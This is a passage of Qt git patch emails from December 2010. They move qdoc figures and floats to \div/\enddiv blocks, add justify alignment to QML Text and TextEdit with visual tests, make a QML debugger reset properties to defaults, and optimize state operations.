trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string())))) << "\n"; break; + case Atom::Div: + out() << "string().isEmpty()) + out() << " class=\"" << atom->string() << "\">"; + else + out() << ">"; + break; case Atom::FootnoteLeft: // ### For now if (in_para) { @@ -1129,6 +1136,9 @@ int HtmlGenerator::generateAtom(const Atom *atom, out() << "\\" << protectEnc(atom->string()) << ""; break; + case Atom::EndDiv: + out() << "
    "; + break; #ifdef QDOC_QML case Atom::QmlText: case Atom::EndQmlText: diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 510a8b3..2262daa 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -34,3 +34,4 @@ macro.beginfloatleft.HTML = "
    " macro.beginfloatright.HTML = "
    " macro.endfloat.HTML = "
    " macro.clearfloat.HTML = "
    " +macro.emptyspan.HTML = "" diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index bc32149..211bdb2 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -46,3 +46,4 @@ macro.beginfloatleft.HTML = " " macro.beginfloatright.HTML = " " macro.endfloat.HTML = " " macro.clearfloat.HTML = " " +macro.emptyspan.DITAXML = " " -- cgit v0.12 From a8fb1076935a0eb58f803477ed246dc237624370 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 14 Dec 2010 16:03:40 +0100 Subject: Removed macros for figures and floats. We'll use \div...\enddiv instead. --- tools/qdoc3/test/macros.qdocconf | 32 -------------------------------- 1 file changed, 32 deletions(-) diff --git a/tools/qdoc3/test/macros.qdocconf b/tools/qdoc3/test/macros.qdocconf index 39986fc..2262daa 100644 --- a/tools/qdoc3/test/macros.qdocconf +++ b/tools/qdoc3/test/macros.qdocconf @@ -30,38 +30,6 @@ macro.endcomment = "\\c{*/}" macro.uuml.HTML = "ü" macro.mdash.HTML = "—" -# Macros for floating images and floating images with alt text. -# Ideally, these would be HTML-only macros. - -macro.floatleft = "\\raw HTML\n" \ - "
    " \ - "\\endraw\n" \ - "\\inlineimage \1\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" -macro.figureleft = "\\raw HTML\n" \ - "
    " \ - "\\endraw\n" \ - "\\inlineimage \1 \2\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" -macro.floatright = "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" \ - "\\inlineimage \1\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" -macro.figureright = "\\raw HTML\n" \ - "
    " \ - "\\endraw\n" \ - "\\inlineimage \1 \2\n" \ - "\\raw HTML\n" \ - "
    \n" \ - "\\endraw\n" - macro.beginfloatleft.HTML = "
    " macro.beginfloatright.HTML = "
    " macro.endfloat.HTML = "
    " -- cgit v0.12 From bf835c2e69b3bc37145e572f68554bf771eeec3f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 14 Dec 2010 16:05:30 +0100 Subject: Treat div elements like paragraphs. --- tools/qdoc3/doc.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 8d4d0ee..ce9e30d 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -562,6 +562,8 @@ void DocParser::parse(const QString& source, leavePara(); x = getArgument(true); append(Atom::Div, x); + openedCommands.push(cmd); + enterPara(); break; case CMD_CODELINE: { @@ -631,6 +633,7 @@ void DocParser::parse(const QString& source, closeCommand(cmd); break; case CMD_ENDDIV: + leavePara(); append(Atom::EndDiv); closeCommand(cmd); break; -- cgit v0.12 From cbfeb79c80a774166e016e7c879bba465ffc0496 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 14 Dec 2010 16:07:48 +0100 Subject: Doc: Used div elements for floats, updated the style sheet. --- doc/src/declarative/positioners.qdoc | 22 ++++++++++++++++------ doc/src/declarative/qdeclarativemodels.qdoc | 4 +++- doc/src/getting-started/how-to-learn-qt.qdoc | 4 +++- doc/src/template/style/style.css | 11 ++++++++++- doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc | 4 +++- .../graphicsitems/qdeclarativeflickable.cpp | 4 +++- .../graphicsitems/qdeclarativegridview.cpp | 4 +++- .../graphicsitems/qdeclarativemousearea.cpp | 4 +++- .../graphicsitems/qdeclarativerectangle.cpp | 20 +++++++++++++++----- src/declarative/util/qdeclarativelistmodel.cpp | 8 ++++++-- src/gui/graphicsview/qgraphicsanchorlayout.cpp | 4 +++- 11 files changed, 68 insertions(+), 21 deletions(-) diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc index ed320a1..d97acbd 100644 --- a/doc/src/declarative/positioners.qdoc +++ b/doc/src/declarative/positioners.qdoc @@ -53,7 +53,9 @@ graphical elements: \section2 Column -\floatright qml-column.png +\div{float-right} +\inlineimage qml-column.png +\enddiv \l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined @@ -68,7 +70,9 @@ must be added to a parent Rectangle, if desired. \section2 Row -\floatright qml-row.png +\div{float-right} +\inlineimage qml-row.png +\enddiv \l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined @@ -83,7 +87,9 @@ left around the edges of the horizontally centered Row item. \section2 Grid -\floatright qml-grid-spacing.png +\div{float-right} +\inlineimage qml-grid-spacing.png +\enddiv \l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items @@ -102,8 +108,10 @@ at the appropriate places in the Grid definition. \section2 Flow -\floatright qml-flow-text1.png -\floatright qml-flow-text2.png +\div{float-right} +\inlineimage qml-flow-text1.png +\inlineimage qml-flow-text2.png +\enddiv \l Flow items are used to place items like words on a page, with rows or columns of non-overlapping items. @@ -129,7 +137,9 @@ control of spacing between items and between lines of items. \section1 Repeaters -\floatright qml-repeater-grid-index.png +\div{float-right} +\inlineimage qml-repeater-grid-index.png +\enddiv Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index a61b115..495b3bd 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -504,7 +504,9 @@ a Web browser. \l ListView shows a classic list of items with horizontal or vertical placing of items. -\floatright qml-listview-snippet.png +\div{float-right} +\inlineimage qml-listview-snippet.png +\enddiv The following example shows a minimal ListView displaying a sequence of numbers (using an \l{QML Data Models#An Integer}{integer as a model}). diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc index e5f1ff9..0d5fd0a 100644 --- a/doc/src/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/getting-started/how-to-learn-qt.qdoc @@ -51,7 +51,9 @@ key overviews to deepen your understanding of Qt: The Qt \l{Object Model} and \l{Signals and Slots}. - \floatleft qtdemo-small.png + \div{float-left} + \inlineimage qtdemo-small.png + \enddiv \section1 Getting an Overview diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 04d8c05..d623bd4 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -176,7 +176,16 @@ { /* background-color: #E6E6E6;*/ /* disabled until further notice */ } - + + div.float-left + { + float: left; margin-right: 2em + } + div.float-right + { + float: right; margin-left: 2em + } + span.comment { color: #008B00; diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc index 598cbea..e74c84c 100644 --- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc @@ -41,7 +41,9 @@ 现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。 - \floatleft qtdemo-small.png + \div {float-left} + \inlineimage qtdemo-small.png + \enddiv \section1 了解概况 diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 1899a39..cd770d4 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -373,7 +373,9 @@ void QDeclarativeFlickablePrivate::updateBeginningEnd() \section1 Example Usage - \floatright flickable.gif + \div {float-right} + \inlineimage flickable.gif + \enddiv The following example shows a small view onto a large image in which the user can drag or flick the image in order to view different parts of it. diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index c7517f4..ba66aba 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1095,7 +1095,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0 - \floatright gridview-simple.png + \div {float-right} + \inlineimage gridview-simple.png + \enddiv This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules} for more information about creating reusable components like this. diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp index 56e5c6b..3d5c29f 100644 --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp @@ -216,7 +216,9 @@ QDeclarativeMouseAreaPrivate::~QDeclarativeMouseAreaPrivate() \section1 Example Usage - \floatright qml-mousearea-snippet.png + \div {float-right} + \inlineimage qml-mousearea-snippet.png + \enddiv The following example uses a MouseArea in a \l Rectangle that changes the \l Rectangle color to red when clicked: diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 969027e..7bb6afb 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -131,7 +131,9 @@ void QDeclarativeGradientStop::updateGradient() \section1 Example Usage - \floatright qml-gradient.png + \div {float-right} + \inlineimage qml-gradient.png + \enddiv The following example declares a \l Rectangle item with a gradient starting with red, blending to yellow at one third of the height of the rectangle, @@ -215,7 +217,9 @@ void QDeclarativeGradient::doUpdate() \section1 Example Usage - \floatright declarative-rect.png + \div {float-right} + \inlineimage declarative-rect.png + \enddiv The following example shows the effects of some of the common properties on a Rectangle item, which in this case is used to create a square: @@ -265,7 +269,9 @@ void QDeclarativeRectangle::doUpdate() rectangle (as documented for QRect rendering). This can cause unintended effects if \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item: - \floatright rect-border-width.png + \div {float-right} + \inlineimage rect-border-width.png + \enddiv \snippet doc/src/snippets/declarative/rectangle/rect-border-width.qml 0 @@ -287,7 +293,9 @@ QDeclarativePen *QDeclarativeRectangle::border() This property allows for the construction of simple vertical gradients. Other gradients may by formed by adding rotation to the rectangle. - \floatleft declarative-rect_gradient.png + \div {float-left} + \inlineimage declarative-rect_gradient.png + \enddiv \snippet doc/src/snippets/declarative/rectangle/rectangle-gradient.qml rectangles \clearfloat @@ -353,7 +361,9 @@ void QDeclarativeRectangle::setRadius(qreal radius) The default color is white. - \floatright rect-color.png + \div {float-right} + \inlineimage rect-color.png + \enddiv The following example shows rectangles with colors specified using hexadecimal and named color notation: diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 52e563b..0f117f5 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -108,7 +108,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The following example shows a ListModel containing three elements, with the roles "name" and "cost". - \floatright listmodel.png + \div {float-right} + \inlineimage listmodel.png + \enddiv \snippet doc/src/snippets/declarative/listmodel.qml 0 @@ -131,7 +133,9 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM The delegate displays all the fruit attributes: - \floatright listmodel-nested.png + \div {float-right} + \inlineimage listmodel-nested.png + \enddiv \snippet doc/src/snippets/declarative/listmodel-nested.qml delegate diff --git a/src/gui/graphicsview/qgraphicsanchorlayout.cpp b/src/gui/graphicsview/qgraphicsanchorlayout.cpp index 1d1d257..fe0ad86 100644 --- a/src/gui/graphicsview/qgraphicsanchorlayout.cpp +++ b/src/gui/graphicsview/qgraphicsanchorlayout.cpp @@ -56,7 +56,9 @@ Items that are anchored are automatically added to the layout, and if items are removed, all their anchors will be automatically removed. - \figureleft{simpleanchorlayout-example.png}{Using an anchor layout to align simple colored widgets.} + \div {float-left} + \inlineimage simpleanchorlayout-example.png Using an anchor layout to align simple colored widgets. + \enddiv Anchors are always set up between edges of an item, where the "center" is also considered to be an edge. Consider the following example: -- cgit v0.12 From cace8e6a9f00ee478dfe63a7fa6959056cfe7e8a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 15 Dec 2010 13:51:23 +0100 Subject: Doc: Fixed an old-style float. --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index ba66aba..264f12c 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1111,7 +1111,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m \codeline \snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple - \floatright gridview-highlight.png + \div {float-right} + \inlineimage gridview-highlight.png + \enddiv The view will create a new delegate for each item in the model. Note that the delegate is able to access the model's \c name and \c portrait data directly. -- cgit v0.12 From 867a421ed539040bd197c13f6c98f313e232cdf3 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 16 Dec 2010 11:37:13 +0100 Subject: qdoc: Added typedef to help the OSX compiler accept a template. --- tools/qdoc3/qmlmarkupvisitor.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 60bc336..709a858 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -159,10 +159,11 @@ protected: QString protect(const QString &string); private: + typedef QHash StringHash; void addExtra(quint32 start, quint32 finish); void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, const QString &text, - const QHash &attributes = QHash()); + const StringHash &attributes = StringHash()); void addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); QString sourceText(QDeclarativeJS::AST::SourceLocation &location); -- cgit v0.12 From d1139664012718f9bbf54e283ef7c370d98c48a8 Mon Sep 17 00:00:00 2001 From: Christiaan Janssen Date: Thu, 16 Dec 2010 12:33:21 +0100 Subject: QmlDebugger: reset properties to default value Reviewed-by: Kai Koehne --- src/declarative/qml/qdeclarativeenginedebug.cpp | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index 4d6e50c..6c013de 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -613,9 +613,25 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::setBinding(property, 0); if (oldBinding) oldBinding->destroy(); + } + if (property.isResettable()) { + // Note: this will reset the property in any case, without regard to states + // Right now almost no QDeclarativeItem has reset methods for its properties (with the + // notable exception of QDeclarativeAnchors), so this is not a big issue + // later on, setBinding does take states into account + property.reset(); } else { - if (property.isResettable()) { - property.reset(); + // overwrite with default value + if (QDeclarativeType *objType = QDeclarativeMetaType::qmlType(object->metaObject())) { + if (QObject *emptyObject = objType->create()) { + if (emptyObject->property(propertyName.toLatin1()).isValid()) { + QVariant defaultValue = QDeclarativeProperty(emptyObject, propertyName).read(); + if (defaultValue.isValid()) { + setBinding(objectId, propertyName, defaultValue, true); + } + } + delete emptyObject; + } } } } else { -- cgit v0.12 From c54443507edf98832c67d727746ae4a130a14571 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Fri, 17 Dec 2010 15:55:50 +1000 Subject: Support for justification in Text and TextEdit elements. Task-number: QTBUG-13242 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetext.cpp | 11 +++++++---- src/declarative/graphicsitems/qdeclarativetext_p.h | 3 ++- .../graphicsitems/qdeclarativetextedit.cpp | 1 + .../graphicsitems/qdeclarativetextedit_p.h | 3 ++- .../qdeclarativetext/align/data-MAC/justify.0.png | Bin 0 -> 7233 bytes .../qdeclarativetext/align/data-MAC/justify.qml | 11 +++++++++++ .../qmlvisual/qdeclarativetext/align/justify.qml | 22 +++++++++++++++++++++ .../qdeclarativetextedit/data-MAC/justify.0.png | Bin 0 -> 7233 bytes .../qdeclarativetextedit/data-MAC/justify.qml | 11 +++++++++++ .../qmlvisual/qdeclarativetextedit/justify.qml | 22 +++++++++++++++++++++ 10 files changed, 78 insertions(+), 6 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 303b21c..cf11be6 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -297,6 +297,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout() lineWidth = q->width(); QTextOption textOption = layout.textOption(); + if (hAlign == QDeclarativeText::AlignJustify) + textOption.setAlignment(Qt::Alignment(hAlign)); textOption.setWrapMode(QTextOption::WrapMode(wrapMode)); layout.setTextOption(textOption); @@ -325,7 +327,7 @@ QSize QDeclarativeTextPrivate::setupTextLayout() height += line.height(); if (!cacheAllTextAsImage) { - if (hAlign == QDeclarativeText::AlignLeft) { + if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) { x = 0; } else if (hAlign == QDeclarativeText::AlignRight) { x = layoutWidth - line.naturalTextWidth(); @@ -351,7 +353,7 @@ QPixmap QDeclarativeTextPrivate::textLayoutImage(bool drawStyle) qreal x = 0; for (int i = 0; i < layout.lineCount(); ++i) { QTextLine line = layout.lineAt(i); - if (hAlign == QDeclarativeText::AlignLeft) { + if ((hAlign == QDeclarativeText::AlignLeft) || (hAlign == QDeclarativeText::AlignJustify)) { x = 0; } else if (hAlign == QDeclarativeText::AlignRight) { x = size.width() - line.naturalTextWidth(); @@ -898,8 +900,8 @@ void QDeclarativeText::setStyleColor(const QColor &color) Sets the horizontal and vertical alignment of the text within the Text items width and height. By default, the text is top-left aligned. - The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight and - \c Text.AlignHCenter. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom + The valid values for \c horizontalAlignment are \c Text.AlignLeft, \c Text.AlignRight, \c Text.AlignHCenter and + \c Text.AlignJustify. The valid values for \c verticalAlignment are \c Text.AlignTop, \c Text.AlignBottom and \c Text.AlignVCenter. Note that for a single line of text, the size of the text is the area of the text. In this common case, @@ -1117,6 +1119,7 @@ QRectF QDeclarativeText::boundingRect() const switch (d->hAlign) { case AlignLeft: + case AlignJustify: x = 0; break; case AlignRight: diff --git a/src/declarative/graphicsitems/qdeclarativetext_p.h b/src/declarative/graphicsitems/qdeclarativetext_p.h index 51434d5..49bff14 100644 --- a/src/declarative/graphicsitems/qdeclarativetext_p.h +++ b/src/declarative/graphicsitems/qdeclarativetext_p.h @@ -82,7 +82,8 @@ public: enum HAlignment { AlignLeft = Qt::AlignLeft, AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter }; + AlignHCenter = Qt::AlignHCenter, + AlignJustify = Qt::AlignJustify }; // ### VERSIONING: Only in QtQuick 1.1 enum VAlignment { AlignTop = Qt::AlignTop, AlignBottom = Qt::AlignBottom, AlignVCenter = Qt::AlignVCenter }; diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index e05f4e4..f37fa62 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -442,6 +442,7 @@ void QDeclarativeTextEdit::setSelectedTextColor(const QColor &color) \o TextEdit.AlignLeft (default) \o TextEdit.AlignRight \o TextEdit.AlignHCenter + \o TextEdit.AlignJustify \endlist Valid values for \c verticalAlignment are: diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 68fde3d..7f12c85 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -97,7 +97,8 @@ public: enum HAlignment { AlignLeft = Qt::AlignLeft, AlignRight = Qt::AlignRight, - AlignHCenter = Qt::AlignHCenter + AlignHCenter = Qt::AlignHCenter, + AlignJustify = Qt::AlignJustify // ### VERSIONING: Only in QtQuick 1.1 }; enum VAlignment { diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png new file mode 100644 index 0000000..74c6934 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml new file mode 100644 index 0000000..e4dbeb1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/data-MAC/justify.qml @@ -0,0 +1,11 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "justify.0.png" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml new file mode 100644 index 0000000..c3a7aaa --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/align/justify.qml @@ -0,0 +1,22 @@ +import QtQuick 1.0 +import "../../shared" 1.0 + +Rectangle { + width: 450 + height: 250 + + TestText { + anchors.fill: parent + anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 } + wrapMode: Text.Wrap + horizontalAlignment: Text.AlignJustify + + text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus." + + Rectangle { + anchors.fill: parent + color: "transparent" + border.color: "red" + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png new file mode 100644 index 0000000..74c6934 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml new file mode 100644 index 0000000..e4dbeb1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/justify.qml @@ -0,0 +1,11 @@ +import Qt.VisualTest 4.7 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + image: "justify.0.png" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml new file mode 100644 index 0000000..4aeb58c --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/justify.qml @@ -0,0 +1,22 @@ +import QtQuick 1.0 +import "../shared" 1.0 + +Rectangle { + width: 450 + height: 250 + + TestTextEdit { + anchors.fill: parent + anchors { leftMargin: 10; rightMargin: 10; topMargin:10; bottomMargin: 10 } + wrapMode: Text.Wrap + horizontalAlignment: Text.AlignJustify + + text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin a aliquet massa. Integer id velit a nibh imperdiet sagittis. Cras fringilla enim non nulla porta bibendum. Integer risus urna, hendrerit non interdum ut, dapibus id velit. Nullam fermentum viverra pellentesque. In molestie scelerisque lorem molestie ultrices. Curabitur dolor arcu, tristique in sodales in, varius sed diam. Quisque magna velit, tincidunt sed ullamcorper sit amet, ornare adipiscing ligula. In hac habitasse platea dictumst. Ut tincidunt urna vel mauris fermentum ornare quis a ligula. Suspendisse cursus volutpat sapien eget cursus." + + Rectangle { + anchors.fill: parent + color: "transparent" + border.color: "red" + } + } +} -- cgit v0.12 From cdd9209590f9c970ea6f9e0c734f0729610ede2a Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 14 Dec 2010 08:54:25 +1000 Subject: Optimization for photoviewer demo. --- demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 856a2c7..6248745 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -61,7 +61,7 @@ Package { BorderImage { anchors { - fill: border.visible ? border : placeHolder + fill: originalImage.status == Image.Ready ? border : placeHolder leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 } source: 'images/box-shadow.png'; smooth: true -- cgit v0.12 From 139ecc0e74af2795faa55cfd532aeb10c631049e Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 14 Dec 2010 10:20:57 +1000 Subject: Optimize construction of QDeclarativeProperty in state operations. Reviewed-by: Martin Jones --- src/declarative/util/qdeclarativestate.cpp | 2 +- .../util/qdeclarativestateoperations.cpp | 63 ++++++++++++---------- 2 files changed, 35 insertions(+), 30 deletions(-) diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index 3915485..6925e03 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -66,7 +66,7 @@ QDeclarativeAction::QDeclarativeAction() QDeclarativeAction::QDeclarativeAction(QObject *target, const QString &propertyName, const QVariant &value) : restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), - property(target, propertyName), toValue(value), + property(target, propertyName, qmlEngine(target)), toValue(value), fromBinding(0), event(0), specifiedObject(target), specifiedProperty(propertyName) { diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index d1d7822..82360b2 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -367,16 +367,18 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() a.event = this; actions << a; + QDeclarativeContext *ctxt = qmlContext(this); + if (d->xString.isValid()) { bool ok = false; QString script = d->xString.value.script(); qreal x = script.toFloat(&ok); if (ok) { - QDeclarativeAction xa(d->target, QLatin1String("x"), x); + QDeclarativeAction xa(d->target, QLatin1String("x"), ctxt, x); actions << xa; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"))); + QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, ctxt); + newBinding->setTarget(QDeclarativeProperty(d->target, QLatin1String("x"), ctxt)); QDeclarativeAction xa; xa.property = newBinding->property(); xa.toBinding = newBinding; @@ -391,11 +393,11 @@ QDeclarativeStateOperation::ActionList QDeclarativeParentChange::actions() QString script = d->yString.value.script(); qreal y = script.toFloat(&ok); if (ok) { - QDeclarativeAction ya(d->target, QLatin1String("y"), y); + QDeclarativeAction ya(d->target, QLatin1String("y"), ctxt, y); actions << ya; } else { - QDeclarativeBinding *newBinding = new QDeclarativeBinding(script, d->target, qmlContext(this)); - 